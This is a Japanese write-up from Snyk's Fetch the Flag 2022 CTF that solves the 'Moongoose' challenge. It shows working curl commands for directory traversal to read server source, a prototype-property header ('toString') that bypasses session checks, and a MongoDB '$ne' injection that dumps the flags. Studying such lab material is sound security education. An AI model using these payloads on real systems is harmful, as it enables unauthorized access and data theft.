Skip to main content

Fetch the Flag CTF 2022 解説:Moongoose

著者

Jason Lynch

feature ctf moongoose

2022年11月10日

0 分で読めます

Fetchに参加してくれてありがとうございました! 参加してくださった数千人のプレイヤーの皆さん、 Fetch the Flag CTFへのご参加おめでとうございます。そして、チャレンジを作成し、テストし、解説記事を書いてくれたSnykerの皆さんにも心から感謝します!

Snykの社員として、同僚たちと一緒にSnykの2022 Fetch the Flag大会の「ベータテスト」に参加する機会がありました。仲間と一緒にチャレンジを解くのはとても楽しく、個人的にも多くのことを学べました。この記事では、特に気に入ったチャレンジ、Moongooseを解説します。

チャレンジ

月にガチョウを置いたと信じていたら

このチャレンジは、月とガチョウをテーマにした謎めいたログインページから始まります。フラグを手に入れるには、ディレクトリトラバーサル、NoSQLインジェクション、そして少し厄介なJavaScriptの挙動など、複数の脆弱性を悪用する必要があります。他のCTFチャレンジと同様に、最初にすべきことは、攻撃の入り口を見つけることです。

解説

攻撃の入り口を見つける

まず気づいたかもしれませんが、このチャレンジ名「Moongoose」は「Mongoose」と1文字だけ違います。Mongooseは人気のNode.js向けMongoDBフレームワークの名前です。これが解決のヒントなのでしょうか?その見立てが正しいか確かめてみましょう。

まずチャレンジのページを開き、最初に気づいたことを確認します。目に入るのは次のものです。

  • ログインフォーム

  • サインアップフォーム

  • 月とガチョウの、くるくる回るユーモラスな画像が2つ

  • クールな星空の背景

ユーザー入力を受け取る箇所は分析の出発点として妥当なので、まずログインフォームとサインアップフォームに注目します。

月をテーマにした登録画面。月、漫画風のガチョウ、エラーメッセージ、ユーザー名とパスワードの入力欄、緑色の「Sign Up」ボタンが表示されています。

それぞれのフォームでユーザー名とパスワードをいくつか試すと、異なるエラーメッセージが2つ返ってきます。

  • ユーザー名とパスワードの両方を入力すると、次のメッセージが返ります。{ "☾ 𓅬": "invalid moongoose!" }

  • どちらか、または両方のフィールドが未入力だと、次のメッセージが返ります。{"☾ 𓅬":"invalid moongoose: geese have credentials"}

不思議なことに、ログインフォームとサインアップフォームのどちらでも同じ挙動が見られます。ブラウザーの開発者ツールでネットワークパネルを開き、何が起きているのか詳しく調べてみましょう。

認証APIへのPOSTリクエストが418「I'm a Teapot」ステータスを返しているブラウザーの開発者ツール。

スクリーンショットではFirefoxを使っていますが、基本的な考え方は主要なブラウザーすべてで同じです。

ネットワークトラフィックを確認すると、どちらのフォームもPOSTエンドポイントに同じapi/authリクエストを送信していることがわかります。つまり、どちらを使っても違いはありません。このリクエストのレスポンスヘッダーの1つが目を引きます。

X-Powered-By: Express

この名前に馴染みがない方のために説明すると、Expressは非常によく使われているNode.jsのWebサーバーフレームワークです。攻撃者の立場では、これは価値のある手がかりになり得ます。このサーバーの言語、ランタイム、フレームワークがわかった(少なくともかなり確度の高い推測ができた)ことになります。サーバーがMongooseとMongoDBを使っているという確証にはなりませんが、その推測を裏付ける情報ではあります。

この仮説に従い、ログイン処理でMongoDBが使われていると仮定すれば、api/authエンドポイントにMongoDBインジェクションを試せるかもしれません。次のクエリーインジェクションは、とても役に立つbook.hacktricks.xyzから引用しました。

{"username": {"$ne": null}, "password": {"$ne": null} }

MongoDBのクエリー構文では、$neはフィールドが指定した値と等しくない場合に一致する演算子です。SQLでは次のようになります。

WHERE username IS NOT NULL AND password IS NOT NULL

このエンドポイントがMongoDBにusername = Xかつpassword = Yのユーザーを問い合わせると仮定すると、このインジェクションは「usernameがnullではなく、passwordもnullではないユーザーを返して」という意味になります。理論上、このクエリーは有効なユーザーなら誰でも一致します。ターミナルを開いて、cURLで試してみましょう。

$ curl http://moongoose.c.ctf-snyk.io/api/auth \
    -H 'Content-Type: application/json' \
    --data '{"username": {"$ne": null}, "password": {"$ne": null}}'
{"☾ 𓅬":"No objects here"}

そう簡単にはいかないようです!ブラウザーに戻り、ネットワークタブを開いたまま、悪用できそうな他のAPIエンドポイントを探しましょう。このスクリーンショットでは、ページを再読み込みしたあと、パスにapiを含むリクエストだけが表示されるよう、ネットワークトラフィックを絞り込んでいます。

goose.pngへのGETリクエストが成功し、HTTPレスポンスヘッダーが表示されているブラウザー開発者ツールのネットワークパネル。

ガチョウの画像は/api/image/goose.pngへのリクエストで読み込まれていることがわかります。/api/authエンドポイントと同じく、このレスポンスにもX-Powered-By: Expressヘッダーが含まれています。同じサーバーが静的ファイルの配信にも使われていると考えられます。では、package.jsonなど別のファイルをリクエストするとどうなるでしょうか。

$ curl 'http://moongoose.c.ctf-snyk.io/api/image/package.json'
{"oops":{"errno":-2,"syscall":"open","code":"ENOENT","path":"/app/res/package.json"}}

このレスポンスは重大な手がかりです。次のことがわかります。

  • サーバーは指定されたファイルをディスクから開こうとしている

  • アプリケーションのコードはおそらく/appにある

このサーバーがライブラリを使って静的ファイルを配信しているのか、独自のコードを使っているのかは、まだわかりません。そこで、静的ファイルサーバーによくある脆弱性、ディレクトリトラバーサルを試してみます。この攻撃では../を使って、画像が保存されているディレクトリの親ディレクトリにあるファイルをリクエストします。スラッシュをURLエンコードして%2fにする必要があります。そうしないと、リクエストが/api/package.jsonとして解釈されてしまいます。

$ curl 'http://moongoose.c.ctf-snyk.io/api/image/..%2fpackage.json'
{
  "name": "moongoose",
  "version": "1.0.0",
  "description": "MoonGoose Server",
  "main": "server.js",
  "scripts": {
      "test": "echo \"Error: no test specified\" && exit 1",
      "init": "node init.js",
      "start": "nodemon server.js"
  },
  "keywords": [
      "moon",
      "goose"
  ],
  "author": "mummagoose",
  "license": "ISC",
  "dependencies": {
      "bcryptjs": "^2.4.3",
      "body-parser": "^1.20.0",
      "concurrently": "^7.1.0",
      "express": "^4.18.1",
      "jsonwebtoken": "^8.5.1",
      "mongoose": "^6.3.3"
  }
}

このサーバーがMongoDBライブラリのMongooseを使っているという最初の推測が、ようやく裏付けられました。また、メインのサーバーコードがserver.jsにあることもわかります。次はこれを取得してみましょう。

$ curl 'http://moongoose.c.ctf-snyk.io/api/image/..%2fserver.js'

成功です!このサーバーを詳しく調べ、フラグにたどり着く方法を探りましょう。

認証システムの分析

認証システムを構成するserver.jsの箇所は次のとおりです。

// ...

const ADMIN_HASH = '$2b$12$.zYQ7xW4JFZoj3GvhXS9gOAJs8CUUIbub80UHqfjO20h2sdJpjwDW';
let SESSIONS = {};

// ...

app.post('/api/auth', async (req, res) => {
  const { username, password } = req.body;

  if ((!username) || (!password)) {
      res.status(418).json({ '☾ 𓅬': 'invalid moongoose: geese have credentials' });
      return;
  }

  if (typeof username !== 'string' || typeof password !== 'string') {
      res.status(401).json({ '☾ 𓅬': 'No objects here' });
      return;
  }

  if (!bcrypt.compareSync(password, ADMIN_HASH)) {
      res.status(401).json({ '☾ 𓅬': 'invalid moongoose!' });
      return;
  }

  const sessionToken = generateSessionToken();
  SESSIONS[sessionToken] = { username: username };
  res.setHeader('Authorization', sessionToken);
  res.json({ '☾ 𓅬': 'welcome moongoose' })
});

const checkToken = (sessions, token) => {
  if (!sessions[token]) {
      return false;
  }
  return true;
}

const requireAuthentication = () => {
  return (req, res, next) => {
      if (!checkToken(SESSIONS, req.header('Authorization'))) {
      res.status(418).json({ '☾ 𓅬': 'bad moongoose' })
      } else {
      next()
      }
  }
}

// ...

const generateSessionToken = () => {
  return Buffer.from(bcrypt.hashSync(bcrypt.genSaltSync(), 10)).toString('base64');
};

確認すべき点がたくさんあるので、重要なポイントをまとめます。

  • 認証システムではMongoDBは使われていません。

  • このコードはusernameを無視し、passwordのハッシュをハードコードされたADMIN_HASH変数と比較するだけです。

  • このパスワードはbcryptでハッシュ化されており、総当たり攻撃で解読するには非常に多くの計算が必要です。

  • 認証に成功すると、サーバーはランダムなトークンを生成し、グローバルなSESSIONSオブジェクトに追加します。トークンはAuthorizationヘッダーとしてクライアントに返されます。その後、クライアントはこのヘッダーをrequireAuthenticationミドルウェアを使うエンドポイントに送信できます。

フラグエンドポイントの分析

// ...
const mongoose = require('mongoose');
// ...

const Flag = require('./models/user.model');

// Mongo Setup
mongoose.connect('mongodb://localhost:27017/ctf',
  {
      useNewUrlParser: true,
      useUnifiedTopology: true
  }
);

// ...

app.post('/api/flags', requireAuthentication(), async (req, res) => {
  const { flag } = req.body;
  console.log(flag);
  if (!flag) {
      res.status(418).json({ '☾ 𓅬': 'expected `flag` moongoose' })
      return;
  }

  const found = await Flag.find({ name: flag });
  if (!found.length) {
      res.json({error: `${flag} not found`});
      return;
  }
  res.status(418).send({found});
})

フラグを取得するには、次のことが必要です。

  • 認証チェックを通過する

  • リクエストボディのflagに正しい値を指定する

ディレクトリトラバーサル攻撃を使ってmodels/user.model.jsファイルをリクエストすると、FlagがMongooseモデルであること、そしてFlag.find()の呼び出しがMongoDBにname = <flag>のエントリーを問い合わせることがわかります。

/api/flagsのハンドラーは、リクエストボディのサニタイズも検証も行いません。先ほどのMongoDBインジェクションを、フラグ名の代わりに使って再度試せそうです。ただし、まずrequireAuthentication()ミドルウェアを通過する必要があります。

すべてを組み合わせる

先ほど説明したように、妥当な時間内にADMIN_HASHを総当たりで解読するのは難しそうです。すでに認証済みだとサーバーに思い込ませることはできるでしょうか?

セッショントークンを検証する関数を見てみましょう。

const checkToken = (sessions, token) => {
  if (!sessions[token]) {
      return false;
  }
  return true;
}

このチェックの弱点は、SESSIONSオブジェクトにはセッショントークンしか含まれないと想定している点です。しかし、JavaScriptのプロトタイプ継承により、SESSIONSオブジェクトは列挙されない隠しプロパティを持った状態で初期化されます。Node.jsのREPLか、ブラウザーの開発者ツールのConsoleタブで次のステートメントを実行すれば、それらのプロパティを一覧表示できます。

> Object.getOwnPropertyNames(Object.prototype)
[
  'constructor',
  '__defineGetter__',
  '__defineSetter__',
  'hasOwnProperty',
  '__lookupGetter__',
  '__lookupSetter__',
  'isPrototypeOf',
  'propertyIsEnumerable',
  'toString',
  'valueOf',
  '__proto__',
  'toLocaleString'
]

この見立てが正しければ、これらのプロパティのどれかをセッショントークンとして使い、checkToken()関数を通過できるはずです。これとMongoDBインジェクションを組み合わせると、最終的なリクエストは次のようになります。

$ curl http://moongoose.c.ctf-snyk.io/api/flags \
    -H 'Content-Type: application/json' \
    -H 'Authorization: toString' \
    --data '{"flag": {"$ne": null}}'

このリクエストのレスポンスには、flagコレクションの全データが含まれています。実際のフラグも取得できました!

Moongooseを攻略!

このチャレンジでは、さまざまな脆弱性を実証しました。ディレクトリトラバーサルを使ってサーバーコードを取得し、JavaScriptのプロトタイプ継承を悪用して認証システムを回避しました。最後にMongoDBクエリーインジェクションを使い、/api/flagsエンドポイントでの推測を不要にしました。このアプリケーションは脆弱性があるように作られていますが、現実の世界でもこうした脆弱性は発生します。さまざまな脆弱性の種類や悪用方法、対策について学びたい方には、実践的に学べるSnyk Learnがおすすめです。

他のすべてのフラグをどう見つけたのか知りたいですか?Fetch the Flagの解答ページで、その方法をご覧ください。

CTFを始めよう

オンデマンドのバーチャル入門ワークショップで、CTFチャレンジの解き方を学びましょう。